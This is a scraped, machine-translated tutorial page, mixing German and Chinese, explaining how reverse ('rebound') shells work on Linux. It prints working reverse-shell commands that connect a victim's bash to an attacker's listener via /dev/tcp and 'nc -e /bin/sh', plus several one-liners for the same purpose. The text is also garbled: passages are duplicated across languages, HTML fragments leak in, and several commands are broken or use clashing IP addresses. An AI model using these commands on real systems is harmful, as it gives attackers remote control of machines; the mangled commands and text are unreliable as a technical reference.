Inhaltsverzeichnis
0x00 Vorwort
0x01 反弹shell演示
0x02 原理
2.1 反弹shell的命令原理
2.1 Prinzip des Befehls der Rebound-Shell
2.2 常见反弹shell方法
Heim Betrieb und Instandhaltung Sicherheit Was bedeutet Rebound-Shell?

Was bedeutet Rebound-Shell?

May 11, 2023 pm 04:25 PM
shell

* Feierliche Erklärung: Dieser Artikel ist auf technische Diskussionen und Weitergabe beschränkt und die Verwendung auf illegale Weise ist strengstens untersagt.

0x00 Vorwort

Rebound shell bedeutet, dass das Kontrollende einen bestimmten TCP/UDP-Port abhört und das kontrollierte Ende eine Anfrage an den Port initiiert und diese sendet Befehlszeileneingabe und -ausgabe gehen an die Steuerungsseite. shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

通俗点说,反弹shell就是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。

为什么要反弹shell? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,sshtelnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell

0x01 反弹shell演示

我们用bash远程代码执行漏洞实例来了解一下他的原理

攻击端:10.100.40.5 受害机:192.168.197.136

首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333

Was bedeutet Rebound-Shell?

然后在受害机执行命令

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
Nach dem Login kopieren

Was bedeutet Rebound-Shell?

我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell,在我们的攻击端就能对受害端来进行下一步操作

Was bedeutet Rebound-Shell?

例如:

Was bedeutet Rebound-Shell?

0x02 原理

2.1 反弹shell的命令原理

(1)bash -i

bashlinux的一个比较常见的shell,是许多Linux发行版的默认Shell
-i这个参数的意思是产生交互式的shell

(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

Was bedeutet Rebound-Shell?

(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

我们输出字符到/dev/tcp这个文件中

受害端:

Was bedeutet Rebound-Shell?

攻击端:

Was bedeutet Rebound-Shell?

(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333端口,并且在攻击端输入内容回车就会出现在受害端。

Was bedeutet Rebound-Shell?

Was bedeutet Rebound-Shell?

(5)这样思路就比较清晰了,下面再说交互重定向:

为了实现交互,我们需要把受害者交互式shell

Laienhaft ausgedrückt ist Rebound shell eine Art Rückwärtslink, der sich von Forward ssh unterscheidet. Es handelt sich um einen Angriff, der Befehle auf dem Computer der anderen Partei ausführt, um eine Verbindung herzustellen auf unserer Seite, und dieser Angriffsmodus muss mit einer Sicherheitslücke bei der Remote-Befehlsausführung verwendet werden.

Warum Rebound shell? Es wird normalerweise verwendet, wenn das kontrollierte Ende durch eine Firewall eingeschränkt ist, keine Berechtigungen vorhanden sind und der Port belegt ist.

Angenommen, wir greifen eine Maschine an und öffnen einen Port auf der Maschine. Dies ist eine konventionellere Form. Remote-Desktop, Web-Dienst, ssh, telnet usw. sind alles Vorwärtsverbindungen.

Was bedeutet Rebound-Shell?Unter welchen Umständen ist die Vorwärtsverbindung nicht einfach zu verwenden:

🎜1. Ein Client hat Ihr Netzwerkpferd getroffen, aber es befindet sich im LAN und Sie können keine direkte Verbindung herstellen. 🎜🎜2. Seine ip ändert sich dynamisch und Sie können ihn nicht kontinuierlich steuern. 🎜🎜3. Aufgrund von Einschränkungen wie Firewalls kann der andere Computer nur Anfragen senden, aber keine Anfragen empfangen. 🎜🎜4. Es ist nicht bekannt, wann das Opfer mit Viren oder Trojanern infiziert wird, wie die Netzwerkumgebung der anderen Partei aussieht und wann der Computer ein- und ausgeschaltet werden muss. Daher ist es am besten, einen Server einzurichten und Schadprogramme zuzulassen sich aktiv zu vernetzen. 🎜
🎜Dann ist Rebound leicht zu verstehen. Der Angreifer gibt den Server an und der Host des Opfers stellt eine aktive Verbindung zum Serverprogramm des Angreifers her, das als Rebound shell bezeichnet wird. 🎜🎜0x01 Rebound-Shell-Demonstration🎜🎜Wir verwenden das Beispiel einer bash-Sicherheitslücke bei Remotecodeausführung, um das Prinzip zu verstehen🎜
🎜Angriffsende: 10.100.40.5 Opfermaschine: 192.168.197.136🎜 blockquote >🎜Zuerst müssen wir den Port auf der Angriffsseite abhören und diesen Port verwenden, um die vom Opfercomputer zurückgesendete Shell
zu empfangen. Geben Sie den Befehl nc -l 2333 ein am Angriffsende. 🎜🎜Was bedeutet Rebound-Shell🎜🎜Dann führen Sie den Befehl auf dem Opfercomputer aus 🎜
bash -i > /dev/tcp 10.100.40.5/2333
Nach dem Login kopieren
🎜Was bewirkt Rebound Shell bedeuten🎜🎜Wir haben festgestellt, dass auf unserer Angriffsseite die Shell unserer Opferseite erfolgreich angezeigt wurde und wir den nächsten Schritt auf der Opferseite auf unserer Angriffsseite ausführen können🎜🎜Was bedeutet Rebound-Shell🎜🎜Zum Beispiel: 🎜🎜Was bedeutet Rebound-Shell🎜🎜0x02 Prinzip🎜

2.1 Prinzip des Befehls der Rebound-Shell

🎜(1)bash -i🎜🎜bash ist eine gängige Shell von linux und ist Wird von der Standard-Shell vieler Linux-Distributionen verwendet.
-iDieser Parameter bedeutet, eine interaktive Shell🎜🎜(2)./dev/tcp/ip/port/dev/tcp|udp/ip/portDiese Datei ist etwas ganz Besonderes. Tatsächlich kann sie als Gerät betrachtet werden (alles unter Linux-Datei). Wenn Sie auf den Speicherort dieser Datei zugreifen, ist sie tatsächlich nicht vorhanden, wie unten gezeigt: 🎜🎜Was bedeutet Rebound-Shell🎜🎜(3) Wenn Sie diese Datei jedoch lesen und schreiben, während eine Partei den Port abhört, können Sie socketerreichen, während der Server abhört der Port. >Kommunikation🎜🎜Wir geben Zeichen in die Datei /dev/tcp🎜🎜Victim Ende:🎜🎜Was bedeutet Rebound-Shell🎜🎜Angriffsende: 🎜🎜Was bedeutet Rebound-Shell🎜🎜(4) Als nächstes schauen wir uns die Übertragung der Ausgabe an das Opferende an und hören weiterhin auf den 2333 Port auf der Angriffsseite und wenn der Angreifer den Inhalt eingibt und die Eingabetaste drückt, wird er auf der Opferseite angezeigt. 🎜🎜Was bedeutet Rebound-Shell🎜🎜Was bedeutet Rebound-Shell🎜🎜(5) Auf diese Weise wird die Idee klarer, lasst uns darüber reden die Interaktion unten Richtung: 🎜🎜Um eine Interaktion zu erreichen, müssen wir die Ausgabe der interaktiven Shell an die Angriffsmaschine umleiten. 🎜🎜Auf der Opfermaschine eingeben: 🎜
bash -i 🎜Dann finden wir Unabhängig davon, welcher Befehl eingegeben wird, wird kein Echo angezeigt und die Standardausgabe des Angriffsendes wird an das Angriffsende weitergeleitet. 🎜🎜🎜🎜<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352250437.jpg" class="lazy" alt="Was bedeutet Rebound-Shell?"></p><p>这样只是回显而已,并没有办法在攻击端直接执行命令。</p><p>(6)所以我们还需要将攻击者输入的指令输入给受害者的<code>bash</code>:</p><pre class="brush:php;toolbar:false">bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" class="lazy" alt="Was bedeutet Rebound-Shell?"></p><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" class="lazy" alt="Was bedeutet Rebound-Shell?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1
Nach dem Login kopieren

受害端:

Was bedeutet Rebound-Shell?

攻击端:

Was bedeutet Rebound-Shell?

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
Nach dem Login kopieren

这样命令就不会回显到受害端了。

Was bedeutet Rebound-Shell?

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

Was bedeutet Rebound-Shell?

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&amp1;done
0/dev/tcp/attackerip/4444; sh &196 2>&196
Nach dem Login kopieren

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333
Nach dem Login kopieren

Das obige ist der detaillierte Inhalt vonWas bedeutet Rebound-Shell?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Wie installiere ich Classic Shell unter Windows 11? Wie installiere ich Classic Shell unter Windows 11? Apr 21, 2023 pm 09:13 PM

&lt;p&gt;Die Anpassung Ihres Betriebssystems ist eine großartige Möglichkeit, Ihren Alltag angenehmer zu gestalten. Sie können die Benutzeroberfläche ändern, benutzerdefinierte Designs anwenden, Widgets hinzufügen und mehr. Deshalb zeigen wir Ihnen heute, wie Sie ClassicShell unter Windows 11 installieren. &lt;/p&gt;&lt;p&gt;Dieses Programm gibt es schon seit langer Zeit und ermöglicht es Ihnen, das Betriebssystem zu ändern. Mittlerweile haben Freiwillige die Leitung der Organisation übernommen, die sich 2017 auflöste. Das neue Projekt heißt OpenShell und ist derzeit für Interessierte auf Github verfügbar. &lt;/p&gt;&a

Die PowerShell-Bereitstellung schlägt fehl und das HRESULT 0x80073D02-Problem wurde behoben Die PowerShell-Bereitstellung schlägt fehl und das HRESULT 0x80073D02-Problem wurde behoben May 10, 2023 am 11:02 AM

Wird beim Ausführen des Skripts in PowerShell die Fehlermeldung „Add-AppxPackage: Bereitstellung fehlgeschlagen mit HRESULT: 0x80073D02, Das Paket kann nicht installiert werden, da die von ihm geänderte Ressource derzeit verwendet wird. Fehler 0x80073D02...“ angezeigt? Wie in der Fehlermeldung angegeben, tritt dies auf, wenn der Benutzer versucht, eine oder alle WindowsShellExperienceHost-Anwendungen erneut zu registrieren, während der vorherige Prozess ausgeführt wird. Wir haben einige einfache Lösungen, um dieses Problem schnell zu beheben. Fix 1 – Beenden Sie den Experience-Host-Prozess, den Sie beenden müssen, bevor Sie den Powershell-Befehl ausführen

Explorer.exe startet beim Systemstart nicht [Fix] Explorer.exe startet beim Systemstart nicht [Fix] Jun 03, 2023 am 08:31 AM

Heutzutage stoßen viele Windows-Benutzer auf schwerwiegende Windows-Systemprobleme. Das Problem besteht darin, dass Explorer.exe nach dem Laden des Systems nicht gestartet werden kann und Benutzer keine Dateien oder Ordner öffnen können. Allerdings können Windows-Benutzer in einigen Fällen den Windows Explorer manuell über die Eingabeaufforderung öffnen und müssen dies bei jedem Systemneustart oder nach dem Systemstart tun. Dies kann problematisch sein und ist auf die folgenden Faktoren zurückzuführen. Beschädigte Systemdateien. Aktivieren Sie die Schnellstarteinstellungen. Veraltete oder problematische Anzeigetreiber. An einigen Diensten im System wurden Änderungen vorgenommen. Geänderte Registrierungsdatei. Unter Berücksichtigung aller oben genannten Faktoren haben wir einige gefunden, die den Benutzern sicherlich helfen werden

Hier sind die Korrekturen für das Problem, dass Open Shell Windows 11 nicht funktioniert Hier sind die Korrekturen für das Problem, dass Open Shell Windows 11 nicht funktioniert Apr 14, 2023 pm 02:07 PM

Open Shell, das unter Windows 11 nicht läuft, ist kein neues Problem und plagt Benutzer seit der Einführung dieses neuen Betriebssystems. Die Ursache für das Problem, dass Open-Shell Windows 11 nicht funktioniert, ist nicht spezifisch. Dies kann durch unerwartete Fehler in Programmen, das Vorhandensein von Viren oder Malware oder beschädigte Systemdateien verursacht werden. Für diejenigen, die es nicht wissen: Open-Shell ist der Ersatz für Classic Shell, das 2017 eingestellt wurde. Sie können sich unser Tutorial zur Installation von Classic Shell unter Windows 11 ansehen. So ersetzen Sie das Startmenü von Windows 11

So löschen Sie schnell die Zeile am Ende einer Datei unter Linux So löschen Sie schnell die Zeile am Ende einer Datei unter Linux Mar 01, 2024 pm 09:36 PM

Bei der Verarbeitung von Dateien unter Linux-Systemen ist es manchmal erforderlich, Zeilen am Ende der Datei zu löschen. Dieser Vorgang kommt in praktischen Anwendungen sehr häufig vor und kann durch einige einfache Befehle erreicht werden. In diesem Artikel werden die Schritte zum schnellen Löschen der Zeile am Ende der Datei im Linux-System vorgestellt und spezifische Codebeispiele bereitgestellt. Schritt 1: Überprüfen Sie die letzte Zeile der Datei. Bevor Sie den Löschvorgang durchführen, müssen Sie zunächst bestätigen, welche Zeile die letzte Zeile der Datei ist. Sie können den Befehl tail verwenden, um die letzte Zeile der Datei anzuzeigen. Der spezifische Befehl lautet wie folgt: tail-n1filena

Verschiedene Möglichkeiten, Shell-Skriptdateien unter Windows auszuführen Verschiedene Möglichkeiten, Shell-Skriptdateien unter Windows auszuführen Apr 13, 2023 am 11:58 AM

Windows-Subsystem für Linux Die erste Option ist die Verwendung des Windows-Subsystems für Linux oder WSL, einer Kompatibilitätsschicht für die native Ausführung binärer ausführbarer Linux-Dateien auf Windows-Systemen. Es funktioniert für die meisten Szenarien und ermöglicht Ihnen die Ausführung von Shell-Skripten in Windows 11/10. WSL ist nicht automatisch verfügbar, daher müssen Sie es über die Entwicklereinstellungen Ihres Windows-Geräts aktivieren. Sie können dies tun, indem Sie zu Einstellungen > Update & Sicherheit > Für Entwickler gehen. Wechseln Sie in den Entwicklermodus und bestätigen Sie die Abfrage mit Ja. Suchen Sie als nächstes nach W

Super-Hardcore! 11 sehr praktische Python- und Shell-Skriptbeispiele! Super-Hardcore! 11 sehr praktische Python- und Shell-Skriptbeispiele! Apr 12, 2023 pm 01:52 PM

Einige Beispiele für Python-Skripte: Unternehmens-WeChat-Alarme, FTP-Clients, SSH-Clients, Saltstack-Clients, vCenter-Clients, Abrufen der Ablaufzeit des SSL-Zertifikats für Domänennamen, Senden der heutigen Wettervorhersage und zukünftiger Wettertrenddiagramme: SVN-Vollsicherung; Zabbix überwacht den Ablauf des Benutzerkennworts, erstellt lokales YUM und die Anforderungen der Leser im vorherigen Artikel (wenn die Auslastung hoch ist, finden Sie heraus, welche Prozessskripte eine relativ hohe Auslastung belegen und Benachrichtigungen speichern oder pushen). Bitte haben Sie etwas Geduld. Am Ende des Artikels gibt es doch noch ein Easter Egg. Python-Skript ist Teil des WeChat-Alarms für Unternehmen. Dieses Skript verwendet die WeChat-Anwendung des Unternehmens, um einen WeChat-Alarm durchzuführen, und kann verwendet werden

So installieren Sie Open Shell, um das klassische Startmenü unter Windows 11 wiederherzustellen So installieren Sie Open Shell, um das klassische Startmenü unter Windows 11 wiederherzustellen Apr 18, 2023 pm 10:10 PM

OpenShell ist ein kostenloses Software-Dienstprogramm, mit dem Sie das Startmenü von Windows 11 so anpassen können, dass es einem Menü im klassischen Stil oder einem Menü im Windows 7-Stil ähnelt. Das Startmenü früherer Windows-Versionen bot Benutzern eine einfache Möglichkeit, den Inhalt ihres Systems zu durchsuchen. Im Grunde ist OpenShell ein Ersatz für ClassicShell, der verschiedene Benutzeroberflächenelemente bereitstellt, die dabei helfen, die Funktionalität der letzteren Version aus früheren Windows-Versionen zu übernehmen. Nachdem die Entwicklung von ClassicShell im Jahr 2017 eingestellt wurde, wurde es von GitHub-Freiwilligen unter dem Namen OpenShell gepflegt und weiterentwickelt. Es hängt mit Win zusammen

See all articles